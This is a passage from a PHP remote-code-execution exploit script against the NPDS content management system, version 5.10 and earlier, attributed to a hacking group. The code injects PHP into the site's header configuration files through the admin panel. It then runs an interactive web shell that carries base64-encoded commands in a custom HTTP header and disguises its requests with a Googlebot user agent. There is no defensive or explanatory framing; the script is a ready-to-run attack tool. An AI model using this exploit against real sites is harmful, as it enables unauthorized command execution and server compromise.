")."&Xfiles=header_head&confirm=Sauver+les+modifications")."\r\n\r\n"; $reqshell .= "Xtxt=".urlencode("")."&Xfiles=header_before&confirm=Sauver+les+modifications"; fwrite($sock, $reqshell); unset($reqshell); $pageshell = ''; while(!feof($sock)) { $pageshell .= fgets($sock); } fclose($sock); if(preg_match('`location: admin\.php\?op=ConfigFiles`', $pageshell)) { $ok = 1; } unset($pageshell); if(!$ok) { die("Failed\r\n\r\nUnable to write PHP Code"); } else { echo "OK\r\n\r\n"; } while(1) { unset($exec); echo "[PhpShell@".$argv[1]."]$ "; $input = trim(fgets(STDIN)); if($input == 'quit' || $input == 'exit') { break; } $sock = @fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $req = "GET ".$argv[2]."index.php?op=edito HTTP/1.1\r\n"; $req .= "Host: ".$argv[1]."\r\n"; $req .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $req .= "Accept: */*\r\n"; $req .= "PHPCODE: ".urldecode(base64_encode($input))."\r\n"; $req .= "Connection: close\r\n\r\n"; fwrite($sock, $req); unset($req); $headers = 0; while(!feof($sock)) { $buffer = fgets($sock); if(!$headers) { if($buffer == "\r\n") { $headers = 1; } } else { $exec .= $buffer; } } echo $exec."\r\n\r\n"; } } else { usage(); } function usage() { echo "+------------------------------------------------------+\r\n"; echo "| NPDS <= 5.10 Remote Code Execution exploit |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "| You need a user account !! |\r\n"; echo "| Usage: php exploit.php site.com /path/ user pass |\r\n"; echo "+------------------------------------------------------+\r\n"; } function head() { echo "+----------------------------------------------+\r\n"; echo "| MPDS <= 5.10 Remote Code Execution exploit |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "+----------------------------------------------+\r\n\r\n"; } ?>